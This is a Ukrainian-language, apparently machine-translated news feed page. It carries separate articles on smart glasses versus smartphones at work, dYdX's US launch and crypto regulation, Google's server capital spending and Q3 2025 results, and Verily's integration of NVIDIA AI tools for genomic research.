    Незмінна актуальність смартфона

    Незважаючи на переваги розумних окулярів, смартфони зберігають значну корисність на робочому місці. Складний ввід даних, створення детального вмісту та розширена навігація додатків залишаються більш ефективними на великих екранах із традиційними методами введення. Зріла екосистема смартфона, надійні функції безпеки та універсальна сумісність забезпечують його незмінну важливість у корпоративному середовищі.

    Термін служби батареї, потужність процесора та ємність пам’яті наразі сприяють смартфонам для інтенсивних обчислювальних завдань. Розумні окуляри чудово сприймають інформацію та взаємодіють без використання рук, але мають проблеми зі створенням вмісту та використанням складних програм.

    Технічні міркування щодо адаптації підприємства

    Впровадження інтелектуальних окулярів на підприємстві вимагає ретельного розгляду технічної інфраструктури, протоколів безпеки та можливостей інтеграції. Ці пристрої повинні безперебійно підключатися до існуючих корпоративних систем, підтримувати стандарти безпеки даних і забезпечувати надійну роботу в різних умовах навколишнього середовища.

    Питання конфіденційності ускладнюються з розумними окулярами, оскільки ці пристрої можуть отримувати візуальну та аудіоінформацію з середовища користувача. Організації повинні встановити чітку політику використання, збору даних і захисту конфіденційності, щоб вирішити проблеми співробітників і клієнтів.

    Майбутня конвергенція мобільних обчислень і обчислень в окулярах

    Відносини між розумними окулярами та смартфонами розвиваються в бік взаємодоповнювальних, а не конкурентних ролей. Майбутні технологічні стратегії на робочому місці, ймовірно, передбачають спільну роботу обох пристроїв, причому розумні окуляри оброблятимуть доставку контекстної інформації та взаємодію без рук, а смартфони керуватимуть складними програмами та створюватиму контент.

    Ця конвергенція свідчить про те, що успішні корпоративні технологічні стратегії використовуватимуть сильні сторони кожної платформи, а не змушуватимуть двійковий вибір. Розумні окуляри відмінно справляються з виконанням реальних завдань, а смартфони забезпечують комплексні обчислювальні можливості для складних робочих процесів.

    Поміркуйте над цим: екранна революція тільки починається

    Розмірковуючи про цей технологічний зсув, я вражений тим, наскільки глибоко змінюються наші відносини з інформацією. Ми переходимо від епохи, коли ми звертаємося до наших екранів, до епохи, коли екрани приходять до нас. Розумні окуляри є першим кроком на шляху до справжнього обчислення навколишнього середовища, де цифрова інформація бездоганно інтегрується з фізичною реальністю.

    Питання полягає не в тому, чи замінять розумні окуляри смартфони, а в тому, як швидко підприємства адаптуються до використання обох платформ для оптимальної продуктивності. Перші користувачі, які розуміють цей взаємодоповнюючий зв’язок, отримають значні конкурентні переваги в ефективності співробітників, інноваціях на робочому місці та ініціативах цифрової трансформації.

    Робоче місце завтрашнього дня, ймовірно, матиме кілька обчислювальних інтерфейсів, які працюватимуть гармонійно. Розумні окуляри оброблятимуть контекстну інформацію та спілкуватимуться без рук, смартфони керуватимуть складними програмами та створюватиму контент, а нові технології продовжуватимуть розширювати наші цифрові можливості.


    Готові досліджувати майбутнє технологій на робочому місці? Приєднуйтесь до нашої спільноти UC Today LinkedIn, щоб продовжити цю розмову з понад 2000 професіоналами галузі, які обговорюють останні розробки в технологіях захоплюючого робочого місця. Не пропустіть нашу щотижневу статистику – підпишіться на нашу розсилку, щоб отримувати найважливіші новини галузі UC прямо у вашу поштову скриньку.

  • Що означає запуск dYdX у США для криптовалюти?

    Що означає запуск dYdX у США для криптовалюти?

    dYdX робить хвилю, запускаючи свою торгову платформу в США до кінця року. Це величезний крок для глобального розширення криптовалюти, оскільки він нарешті дозволяє користувачам із США брати участь у спотовій торгівлі такими популярними криптовалютами, як Solana (SOL). Але що це означає на ринку, де домінують централізовані біржі, такі як Coinbase і Kraken? Зниження комісії за торгівлю до 50% потенційно може зробити dYdX більш привабливим варіантом.

    Едді Чжан, президент dYdX, заявив, що цей запуск завжди був частиною їхнього довгострокового бачення. Він також зазначив, що регуляторне середовище США стає більш сприятливим за адміністрації Трампа, що може сприяти інноваціям і залученню користувачів на децентралізованих платформах.

    Як змінюються правила для крипто-бізнесу?

    Оскільки ми бачимо нормативні зміни в США, особливо коли адміністрація Трампа прагне зменшити нормативні перевищення, ландшафт для крипто-бізнесу змінюється. Це може бути дуже важливим для малих і середніх підприємств (МСП) у Європі, оскільки це може призвести до посилення конкуренції з боку криптокомпаній США, які зараз працюють у більш сприятливому для інновацій середовищі.

    Європейські МСП застрягли в лабіринті правил відповідності, особливо тому, що регуляторні рамки ЄС залишаються суворими. Ці правила охоплюють різні аспекти криптовалютних операцій, від зберігання до торгівлі. Різниця в законодавстві між США та ЄС може змусити європейські компанії переглянути свої стратегії, витрати на дотримання вимог і тактику виходу на ринок. Це також може прискорити партнерство та лобіювання регуляторних реформ в ЄС.

    З якими проблемами стикаються DAO під час використання DEX?

    Децентралізовані автономні організації (DAO) стикаються з регуляторними головними болями, оскільки вони звертаються до децентралізованих бірж (DEX) для своїх фінансових операцій. Однією великою проблемою є нечіткий правовий статус DAO, через що важко визначити відповідальність і підзвітність згідно з існуючими законами. Це проблема, коли токени, випущені DAO, класифікуються як цінні папери, і дотримання законодавства про цінні папери стає проблемою.

    Інший виклик – ризики управління. Прийняття рішень може зосереджуватися серед невеликої кількості власників токенів, що підвищує ймовірність атак на управління. Це призводить до проблем із захистом інвесторів і потенційних можливостей шахрайства. Крім того, децентралізована сутність DEX ускладнює застосування заходів протидії відмиванню грошей (AML) і «Знай свого клієнта» (KYC), особливо коли регулятори вимагають наявності цих протоколів.

    Як рішення для нарахування заробітної плати стейблкойнів змінюють правила гри для криптокомпаній?

    Рішення для нарахування заробітної плати стейблкойнів змінюють правила гри для криптокомпаній, особливо в таких регіонах, як ОАЕ. Ці рішення мають низку переваг:

    • Ефективність витрат: використання стейблкойнів може зменшити комісію за транзакції на цілих 90%. Це дуже далеко від традиційних банківських систем, які часто залежать від кількох посередників і валютних спредів.

    • швидкість: транзакції стейблкойнів розраховуються майже миттєво та доступні 24/7. На відміну від традиційних банківських переказів, які можуть зайняти кілька днів.

    • Глобальне охоплення: зі стейблкойнами ви уникаєте проблем з конвертацією валюти, роблячи платежі в різних країнах і часових поясах легкими. Це особливо зручно для компаній з міжнародними командами.

    • Регуляторне забезпечення: ОАЕ створили перспективну нормативну базу, яка підтримує використання стейблкойнів для нарахування заробітної плати, створюючи криптодружню екосистему для стартапів.

    • Програмованість: Заробітна плата в стейблкойнах може використовувати смарт-контракти. Це дозволяє автоматизувати регулярні платежі, утримання податків і звітність про відповідність, спрощуючи процес нарахування заробітної плати.

    Впроваджуючи рішення для нарахування заробітної плати за стейблкойни, криптокомпанії можуть оптимізувати свої операції, скоротити витрати та запропонувати працівникам стабільні виплати. Це особливо вітається в сьогоднішньому хиткому економічному кліматі.

    Як децентралізовані біржі вплинуть на майбутнє криптовалютної торгівлі?

    Децентралізовані біржі, такі як dYdX, зіграють ключову роль у майбутньому торгівлі криптовалютами. Оскільки ринок розвивається, ці біржі пропонують кілька переваг перед традиційними централізованими варіантами:

    • Контроль користувача: DEX дозволяють користувачам підтримувати більший контроль над своїми коштами, зменшуючи залежність від посередників і підвищуючи безпеку.

    • Нижчі комісії: зі зниженими комісіями за торгівлю DEX можуть залучити ширшу аудиторію та зробити торгівлю доступнішою.

    • Інновація: децентралізована структура заохочує інновації, прокладаючи шлях для нових фінансових продуктів і послуг, які задовольняють потреби користувачів.

    • Глобальна доступність: DEX дозволяють проводити транскордонні транзакції без обмежень традиційних банківських систем, що робить їх ідеальними для глобалізованої економіки.

    Оскільки dYdX та інші децентралізовані біржі розширюють межі, вони можуть змінити визначення торгівлі криптовалютою, пропонуючи користувачам більше можливостей і гнучкості в управлінні своїми цифровими активами.

  • Google витрачає на сервери більше, ніж увесь світ

    Google витрачає на сервери більше, ніж увесь світ

    google vytrachaye na servery bilshe nizh uves svit Google витрачає на сервери більше, ніж увесь світ

    Ось смішна цифра, яку варто розжувати. Десь на початку 2026 року, якщо поточні тенденції збережуться, Google матиме рівень витрат на сервери, який перевищить рівні витрат з поправкою на інфляцію, встановлені в усьому світі після краху Dot Com. І невдовзі рівень витрат Google на сервери – за своєю сутністю – зрівняється з рівнем витрат під час буму Dot Com.

    Наразі, враховуючи всі цифри, оприлюднені Google, ми прогнозуємо, що у 2025 році компанія витратить 55,2 мільярда доларів на сервери, і це перевершить анемічні 51,5 мільярда доларів, які світ витратив на сервери у 2009 році, коли Велика рецесія спричинила 20-відсоткове зниження витрат на сервери (ці цифри виражено в доларах США 2021 року), і це майже відповідає витраченим 57,7 мільярдам доларів. у всьому світі на всі види заліза в наступному році.

    Такий рівень витрат від Google відбувається, коли всі гіпермасштабувальники, розробники хмарних технологій, а тепер і розробники моделей, мають витратити 3 мільйони доларів, або 4 мільйони доларів, або навіть 5 мільйонів доларів США на прискорений комп’ютер, який має узгоджену пам’ять у центральних і графічних процесорах, щоб запускати навчання штучного інтелекту та робити висновок, щоб ми могли збільшити (багато хто вважає, що краще слово замінити) частини людського мислення, пов’язані з пошуком і синтезом даних для багатьох порядків. значно більше енергії (145 кіловат на стійку порівняно з 20 Вт для людського мозку), але з набагато більшою швидкістю та, мабуть, набагато менше нарікань.

    У кварталі, який завершився у вересні, керівництво Google повідомило, що компанія, яка включає компанію-оболонку Alphabet і деяких майстрів, які не займаються розміщенням реклами, відео та хмарними обчисленнями, витратила 23,95 мільярда доларів на капітальні витрати, причому 60 відсотків із них припало на сервери, а решта суми – на центри обробки даних та інше обладнання, наприклад мережеве обладнання. (Для Google, схоже, сервер налаштований для зберігання, але не окремо, що ми отримуємо.) Якщо ви підрахуєте це, ви отримаєте 14,37 мільярда доларів, витрачених на сервери в третьому кварталі 2025 року. Якщо ви візьмете середину нової (і вищої) оцінки капітальних витрат на 2025 рік, яка становить від 91 до 93 мільярдів доларів, і помножте на те саме співвідношення, ви отримаєте 55,2 мільярда доларів. фігура. І якщо ви спрогнозуєте витрати з тією ж послідовністю щоквартальних темпів, що, на нашу думку, є, ймовірно, низькою оцінкою для зростання в наступному році, якщо бульбашка GenAI не лопне, неважко побачити, що Google витратить понад 80 мільярдів доларів на сервери, причому основну частину цього становлять прискорені системи з використанням власних TPU або графічних процесорів Nvidia або іноді AMD.

    Ми настільки звикли до того, що люди кидають такі великі числа, що не можемо відчути, яка це вражаюча кількість обладнання та скільки це сукупних обчислень.

    «Хоча ми наполегливо працювали над збільшенням потужності та покращили темпи розгортання серверів і будівництва центрів обробки даних, ми все ще очікуємо, що в четвертому кварталі та 2026 році ми залишимося в умовах жорсткого попиту/пропозиції», — пояснив Анат Ашкеназі, головний фінансовий директор Google, під час телефонної розмови з аналітиками Уолл-стріт, переглядаючи цифри за третій квартал. «Перехід до інвестицій: ми продовжуємо активно інвестувати через попит, який ми відчуваємо з боку хмарних клієнтів, а також можливості для зростання, які ми бачимо в усій компанії». Потім Ашкеназі продовжив підвищення капітальних витрат до середньої позначки в 92 мільярди доларів, плюс-мінус 1 мільярд доларів, і додав, що на 2026 рік Google очікує «значного збільшення капіталовкладень» і надасть більше інформації про це після завершення 2025 року, і звітує про свої показники за рік у січні.

    Ми припускаємо, що це десь на північ від 130 мільярдів доларів, причому 2026 рік є місцевим максимумом інвестицій у GenAI, оскільки потужне апаратне забезпечення та зростаючий попит на висновки штучного інтелекту об’єднуються, щоб розпочати створення справжнього прибуткового бізнесу.

    До речі, попит високий як на вітчизняні прискорювачі TPU, так і на прискорювачі GPU, які Google купує у Nvidia, а іноді й у AMD. (Шкода, що Google не надає детальну інформацію про це.) Під час телефонної розмови Сундар Пічаї, головний виконавчий директор Google і холдингової компанії Alphabet, сказав, що Google щойно почав здавати в оренду ємність клієнтам своїх інсталяцій Blackwell GB300 клієнтам інсталяцій A4X Max. Графічні процесори B300 націлені на висновок штучного інтелекту, і вони відмовилися від високоточної обробки з плаваючою комою на користь підвищення пропускної здатності з нижчою точністю, але також можуть використовуватися для навчання штучного інтелекту, якщо це необхідно. Пічаї сказав, що «Ironwood» TPU v7p, про який ми детально розповідали ще в квітні, незабаром можна буде орендувати.

    «Ми інвестуємо в потужності TPU, щоб задовольнити величезний попит, який ми бачимо з боку клієнтів і партнерів, і ми раді, що Anthropic нещодавно поділився планами отримати доступ до одного мільйона TPU», — сказав Пічаї під час дзвінка.

    Ще у вересні, ґрунтуючись на коментарях Google щодо швидкості генерації токенів для повного стеку додатків і технічних характеристик лінійки TPU, ми підрахували, що, можливо, у серпні для додатків Google було згенеровано 1460 трильйонів токенів, і для цього знадобиться понад 700 000 прискорювачів Trillium TPU v6e. Очевидно, що для отримання такої ж пропускної здатності знадобиться все більше старих TPU. Система Ironwood TPU охоплює 24 ряди пристроїв із 9216 пристроями TPU v7p у спільному кластері пам’яті, який має 42,5 екзафлопс продуктивності FP8 або INT8 і вдвічі більшу продуктивність на ват Trillium TPU v6e, чий домен спільної пам’яті становив лише 256 пристроїв.

    Без сумніву, Anthropic хоче отримати доступ до мільйона пристроїв Ironwood, а не до мільйона Trilliums.

    У кварталі, що закінчився у вересні, Google встановив новий рекорд доходів і вперше перевищив 100 мільярдів доларів. Якщо бути конкретним, він зібрав 102,34 мільярда доларів США, що на 15,9 відсотка зросло в порівнянні з минулим роком і на 6,1 відсотка послідовно. Операційний прибуток зріс на 9,5 відсотка до 31,23 мільярда доларів, а завдяки деяким бухгалтерським рахункам чистий прибуток зріс на 33 відсотки до 35 мільярдів доларів у кварталі.

    1761888637 691 google vytrachaye na servery bilshe nizh uves svit Google витрачає на сервери більше, ніж увесь світ

    Google Cloud, підрозділ компанії з оренди інфраструктури, оприлюднив продажі в розмірі 15,16 мільярда доларів США, що на 33,5 відсотка більше, ніж у минулому році, і головним чином через те, що клієнти GenAI (і особливо великі, як-от розробники моделей OpenAI і Anthropic) витрачають великі гроші, щоб отримати будь-які графічні та XPU, які вони можуть отримати. (Ми очікуємо, що майже така ж історія з Microsoft і Amazon Web Services.) Операційний прибуток Google Cloud зріс на дуже приємні 84,6 відсотка до 3,59 мільярда доларів, але все ще становить лише 14,8 відсотка доходу Google Cloud. Тенденція до прибутковості з роками покращується, особливо тому, що Google довше зберігає серверне залізо в бухгалтерському обліку, а не просто списує його через три роки, як це робило раніше. Це вже економічно недоцільно навіть для гіпермасштабувальника, особливо для того, чия основна пошукова система та відповідний рекламний бізнес знаходяться під прямою загрозою з боку GenAI.

    У третьому кварталі 2025 року пошуковий і рекламний бізнес Google все ще становив 85,1 відсотка продажів компанії, при цьому надходження склали 87,05 мільярда доларів США. Це на 13,8 відсотка більше, ніж у минулому році.

    Нагадуємо, що Google може перетворити себе на набагато більшу хмару, коли захоче. Усе, що йому потрібно зробити, — це призначити всю свою інфраструктуру, яка використовується для внутрішніх робочих навантажень, як частину Google Cloud, а також переглянути фінансові показники, які показують, як різні підрозділи та групи розподіляють витрати як дохід для Google Cloud. Було б цікаво побачити, скільки насправді витрачають Google Search, Google Ads і YouTube на інфраструктуру. . . . і скільки Google Cloud буде орендувати його, і з якою маржею.

    HPE button 19959 V2 Google витрачає на сервери більше, ніж увесь світ

    Підпишіться на нашу розсилку

    Містить основні моменти, аналіз та історії тижня безпосередньо від нас у вашу поштову скриньку без жодних проміжних подій.
    Підпишіться зараз

  • Verily інтегрує інструменти NVIDIA AI для геноміки, навчання моделей

    Verily інтегрує інструменти NVIDIA AI для геноміки, навчання моделей

    Графічний процесор H100

    Графічний процесор H100. Зображення від NVIDIA.

    Verily, дочірня компанія Alphabet у Далласі, яку Alphabet готується виділити або продати, оголосила у вівторок, що інтегрує стек програмного забезпечення NVIDIA зі штучним інтелектом у платформу Pre, свою платформу для аналізу даних про здоров’я. Зокрема, NVIDIA NeMo, Parabricks і CUDA-X Data Science тепер доступні як попередньо налаштовані програми в Verily Workbench, надійному дослідницькому середовищі компанії (TRE), типі захищеної хмарної платформи, яка дозволяє дослідникам співпрацювати та спільно аналізувати дані.

    Pre складається з трьох продуктів: нафтопереробний завод, який поглинає та узгоджує мультимодальні дані про здоров’я в стандартизованому форматі; Exchange, каталог для доступу до наборів біомедичних даних; і Workbench, кероване середовище, де дослідники можуть аналізувати дані та співпрацювати. Verily займається продажами систем охорони здоров’я, наукових компаній про життя, платників і державних установ.

    Прискорення GPU для навчання моделям геноміки та ШІ

    Verily, дочірня компанія Alphabet, додала три інструменти NVIDIA до Workbench: NeMo для навчання та тонкого налаштування моделей ШІ, Parabricks для аналізу геномних даних і CUDA-X Data Science для обробки даних із прискоренням GPU. Компанія також заявила, що використовуватиме графічні процесори NVIDIA з архітектурою Blackwell. Інтеграція спрямована на два вузькі місця в дослідженнях охорони здоров’я. Що стосується геномного аналізу, NVIDIA повідомляє, що Parabricks може обробляти дані секвенування всього геному в 35-50 разів швидше, ніж конвеєри на основі ЦП, скорочуючи аналіз геному в 30 разів з годин до приблизно 28 хвилин на восьми графічних процесорах A100. Згідно з прес-релізом, для розробки моделі штучного інтелекту компанія Verily заявила, що навчила мультимодальну базову модель з використанням електронних медичних записів і геномних даних приблизно в 10 разів швидше за допомогою NVIDIA NeMo AutoModel на графічних процесорах H100 порівняно з попереднім підходом.

    Verily планує розширити інструменти NVIDIA на інші компоненти Pre: Refinery, який обробляє та стандартизує дані про здоров’я, і Exchange, його каталог наборів даних. Компанія заявила, що також зробить мікросервіси NVIDIA NIM — попередньо створені контейнери для розгортання моделей ШІ — доступними на всій платформі.

    Генеральний директор Verily Стівен Джиллетт сказав у прес-релізі, що співпраця спрямована на «підвищення швидкості та ефективності розробки моделей ШІ та аналізу omics».

    Інтеграція верстака NIH «Всі ми».

    Співпраця також прискорить аналізи в NIH All of Us Researcher Workbench, який цієї осені переходить на платформу Verily. Дослідницька програма NIH All of Us збирає електронні записи про стан здоров’я, геномні дані, відповіді на опитування та дані про носимі пристрої від учасників із США. Дослідники використовують набір даних, який включає дані майже 20 000 зареєстрованих дослідників, щоб дослідити, як генетика, навколишнє середовище та спосіб життя впливають на результати здоров’я, зосереджуючись на залученні груп населення, недостатньо представлених у біомедичних дослідженнях.

    Як приклад можливостей платформи дослідники Verily розробили мультимодальну базову модель, використовуючи набір даних All of Us, який поєднує електронні медичні записи з геномними даними. Модель використовує полігенні показники ризику — розрахунки, які оцінюють ризик захворювання на основі кількох генетичних варіантів — для прогнозування наслідків для здоров’я. Згідно з прес-релізом, використовуючи NVIDIA NeMo AutoModel і графічні процесори H100, дослідники навчили модель приблизно в 10 разів швидше, ніж їх попередній підхід на основі ЦП.